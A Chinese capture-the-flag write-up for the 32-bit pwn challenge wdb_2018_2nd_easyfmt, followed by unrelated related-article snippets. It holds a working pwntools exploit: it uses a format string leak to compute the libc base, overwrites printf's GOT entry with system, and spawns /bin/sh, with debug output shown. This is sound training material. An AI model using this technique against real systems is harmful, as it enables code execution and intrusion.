从零开始做题:逆向wdb_2018_2nd_easyfmt

1.题目信息

2.解题分析

格式化字符串漏洞

如何确定偏移

Do you know repeater?

输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

输出AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.

#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6

最开始输入的AAAA,在offset=6的位置输出了,可以推出栈上其他位置的偏移。

[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
    Arch:     i386-32-little           #32位程序
    RELRO:    Partial RELRO   #got表可写
    Stack:    No canary found    #栈可溢出
    NX:       NX enabled            #shellcode不可以
    PIE:      No PIE (0x8048000) #代码段无随机化,地址都可以知道

[x] Starting local process './wdb_2018_2nd_easyfmt'
[+] Starting local process './wdb_2018_2nd_easyfmt': pid 253
[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Sent 0x5 bytes:
    '%3$p\n'
[DEBUG] Received 0x22 bytes:
    'Do you know repeater?\n'
    '0xf7f15c08\n'
    '\n'
[*] leak: 0xf7f15c08
[*] libc: 0xf7d36000
[DEBUG] Sent 0x3b bytes:
    00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  │····│····│····│····│
    00000010  25 34 38 63  25 36 24 68  68 6e 25 32  30 31 63 25  │%48c│%6$h│hn%2│01c%│
    00000020  37 24 68 68  6e 25 32 30  36 63 25 38  24 68 68 6e  │7$hh│n%20│6c%8│$hhn│
    00000030  25 33 32 63  25 39 24 68  68 6e 0a                  │%32c│%9$h│hn·│
    0000003b
[*] Switching to interactive mode

[DEBUG] Received 0x1f9 bytes:
    00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  │····│····│····│····│
    00000010  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000030  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 08  │    │    │    │   ·│
    00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000100  20 20 20 20  20 20 20 20  64 20 20 20  20 20 20 20  │    │    │d   │    │
    00000110  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000001d0  20 20 20 20  20 20 08 20  20 20 20 20  20 20 20 20  │    │  · │    │    │
    000001e0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    000001f0  20 20 20 20  20 20 00 0a  0a                        │    │  ··│·│
    000001f9
����                                                                                                                                                                                                                                                       d                                                                                                                                                                                                                                            

3.解题脚本及注解

使用powdocker1604环境https://blog.csdn.net/weixin_44626085/article/details/135561582

标红的地方替换下面相应的值 

#coding=utf-8
from pwn import *
#设置gdp调试环境tmux
context.terminal=["tmux","sp","-h"]

#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={"LD_PRELOAD":"/glibc/2.23/32/lib/libc.so.6"})
#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={'LD_PRELOAD':'./libc-2.23.so'})
#p= process('./wdb_2018_2nd_easyfmt')
#本地调试./wdb_2018_2nd_easyfmt,使用远程环境的提供的libc-2.23.so
p = process('./wdb_2018_2nd_easyfmt', env={'LD_PRELOAD':'./libc-2.23.so'})
#远程连接环境
#p = remote('node5.buuoj.cn',25976)
#gdb.attach(p)
#gdb动态调试

elf = ELF('./wdb_2018_2nd_easyfmt')
#使用elf函数
context.log_level='debug'

offset = 6 
p.sendline('%3$p') 
#Do you know repeater?
#AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
#AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6

p.recvuntil('0x')
leak = int(p.recvuntil('\n', drop=True), 16)
#接收到f7e306bb,转换成整数

log.info('leak: '+hex(leak))
#输出leak


#pause()
libc = leak-0xf7f60c08+0xf7d81000
#算出libc地址

log.info('libc: '+hex(libc))
#输出libc地址

system =libc+0x3a940
#输出system地址



pl = fmtstr_payload(offset,{elf.got['printf'] : system})
#构造playload,将打印地址改成system地址

p.sendline(pl)

p.interactive()

#pause()

p.sendline('/bin/sh')

最后一个坑是换成远程的时候发现不成功,然后换了一台电脑后就成功了,不成功的是amd芯片的

,成功的intel芯片的。这个坑浪费了我大量的时间。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/320643.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】排序算法

🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 目录 🎏排序的定义 🎏排序的稳定性 📌稳定性的定义 📌稳定性的意义 🎏内排序与外排序 🎏八大内排…

Linux环境基础开发工具的使用(上)

文章目录 Linux 软件包管理器 yum什么是软件包关于rzsz查看软件包安装软件卸载软件 Linux编辑器 - vimvim的基本概念vim下各模式的切换vim命令模式各命令汇总vim底行模式各命令汇总 配置vim Linux 软件包管理器 yum 什么是软件包 在Linux下安装软件, 一个通常的办法是下载到程…

Vue实战:两种方式创建Vue项目

文章目录 一、实战概述二、实战步骤(一)安装Vue CLI脚手架1、从Node.js官网下载LTS版本2、安装Node.js到指定目录3、配置Node.js环境变量4、查看node版本5、查看npm版本6、安装Vue Cli脚手架7、查看Vue Cli版本 (二)命令行方式构建…

Git与VScode联合使用详解

目录 Git与VScode联合使用 方式一 1. 用vscode打开文件夹,如图点击初始化仓库,把此仓库初始为git仓库。 2. 提交文件到本地仓库 3. vscode与github账号绑定 4. 在github中建立远程仓库 5. 本地仓库与远程仓库绑定 方式二 1. 在github上建立远程仓…

魅族MX4pro系统升级、降级

网上的教程都是按住开机键音量上或者下键,但是我按了没用,还是直接点击压缩包管用。 下载系统 官网地址(所有手机固件):https://flyme.cn/firmware.html 官方魅族mx4Pro系统:https://flyme.cn/firmwarelis…

通过本质看现象:关于Integer受内部初始化赋值范围限制而出现的有趣现象

文/朱季谦 这是我很多年前的第一篇技术博客,当时作为一名技术小菜鸟,总体而言显得很拙见,但也算是成长路上的一个小脚印,希望能在以后的日子里,可以对JAVA技术有一个更加深入的思考与认识。 前几天我在逛论坛的时候&a…

《C++大学教程》4.14信用额度问题

题目&#xff1a; #include <iostream> #include <iomanip> using namespace std;int main() {unsigned int account;double beginning_balance, total_charges, total_credits, credit_limit;cout << "Enter account numbeu(or -1 to qiut):";cin…

18k+ start开源项目管理工具Focalboard centos部署教程

1.下载安装包 官方github地址 https://github.com/mattermost/focalboard 发行版下载地址 https://github.com/mattermost/focalboard/releases/download/v7.10.6/focalboard-server-linux-amd64.tar.gz 插件下载地址 https://github.com/mattermost/focalboard/releases/down…

【DB】MySQL版本5.7和8的区别,以及升级的注意事项

文章目录 1、MySQL版本5.7和8的区别2、MySQL 5.7升级8 1、MySQL版本5.7和8的区别 在数据库管理系统中&#xff0c;MySQL是一个广泛使用、开源的解决方案。它提供了强大的功能&#xff0c;同时具有优秀的性能和可扩展性。 MySQL 5的发布于2005年&#xff0c;在MySQL数据库的发…

MATLAB R2023a安装教程

鼠标右击软件压缩包&#xff0c;选择“解压到MATLAB.R2023a”。 打开解压后的文件夹&#xff0c;鼠标右击“R2023a_Windows_iso”选择“装载”。 鼠标右击“setup.exe”选择“以管理员身份运行”。 点击“高级选项”选择“我有文件安装密钥”。 点击“是”&#xff0c;然后点击…

【GitHub项目推荐--13 个 Python 学习资源】【转载】

近些年&#xff0c;人工智能应用铺天盖地。人脸识别、老照片复活、换脸等应用都得益于人工智能算法。 许多人工智能算法封装的框架基于 Python 语言&#xff0c;这也导致了 Python 的热度只增不减。 Python 简单易学&#xff0c;根据 2020 年 StackOverflow 开发者调查报告显…

50天精通Golang(第17天)

beego框架总结及数据库连接配置 一、beego框架总结 1.1 Beego项目组织架构 上节课程内容对beego的案例代码进行了一个简单的分析&#xff0c;总结一下beego项目的组织结构&#xff0c;总结如下&#xff1a; 1.1.1 项目配置&#xff1a;conf 项目配置文件所在的目录&#x…

文字转语音在线合成系统源码 附带完整的安装部署教程

现如今&#xff0c;文字转语音&#xff08;TTS&#xff09;技术逐渐成为人们获取信息的重要手段之一。然而&#xff0c;市面上的TTS工具大多需要下载安装&#xff0c;且功能较为单一&#xff0c;无法满足用户多样化的需求。因此&#xff0c;开发一款功能强大、易于部署的文字转…

spring boot mybatis plus mapper如何自动注册到spring bean容器

##Import(AutoConfiguredMapperScannerRegistrar.class) ##注册MapperScannerConfigurer ##MapperScannerConfigurer.postProcessBeanDefinitionRegistry方法扫描注册mapper ##找到mapper候选者 ##过滤mapper 类 候选者 ##BeanDefinitionHolder注册到spring 容器

C++模板——(4)C++泛型编程与标准模板库简介

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd; 勤奋&#xff0c;机会&#xff0c;乐观…

【JaveWeb教程】(26) Mybatis基础操作(新增、修改、查询、删除) 详细代码示例讲解(最全面)

目录 1. Mybatis基础操作1.1 需求1.2 准备1.3 删除1.3.1 功能实现1.3.2 日志输入1.3.3 预编译SQL1.3.3.1 介绍1.3.3.2 SQL注入1.3.3.3 参数占位符 1.4 新增1.4.1 基本新增1.4.2 主键返回 1.5 更新1.6 查询1.6.1 根据ID查询1.6.2 数据封装1.6.3 条件查询1.6.4 参数名说明 1. Myb…

差分算法模板

差分算法模板 一维差分一维insert函数(构造差分数组和实现区域加数操作)一维差分模板题 二维差分二维insert函数(构造差分数组和实现区域加数操作)二维差分模板题 一维差分 差分主要是计算出某个区域段的数分别加上一个数 先给定一个原数组a&#xff1a;a[1], a[2], a[3], a[n]…

【python入门】day28:记录用户登录日志

演示 代码 #-*- coding:utf-8 -*- print(记录用户登录日志----------------------------) import time def show_info():print(输入提示数字,执行相应操作:0退出,1查看登录日志) def write_logininfo(username):#----------记录日志with open(log.txt,a,encodingutf-8)as file…

Tensor Core的一些概念理解

英伟达的GPU产品架构发展如下图&#xff0c;Tensor Core是从2017年的Volta架构开始演变的针对AI模型大量乘加运算的特殊处理单元。本文主要梳理一些关于Tensor Core的一些基础概念知识。 什么是混合精度&#xff1f; 混合精度在底层硬件算子层面&#xff0c;使用半精度&#xf…

阶段十-分布式锁

5.1 节 为什么要使用分布式锁 锁是多线程代码中的概念&#xff0c;只有当多任务访问同一个互斥的共享资源时才需要。如下图&#xff1a; 在我们进行单机应用开发&#xff0c;涉及并发同步的时候&#xff0c;我们往往采用synchronized或者lock的方式来解决多线程间的代码同步问…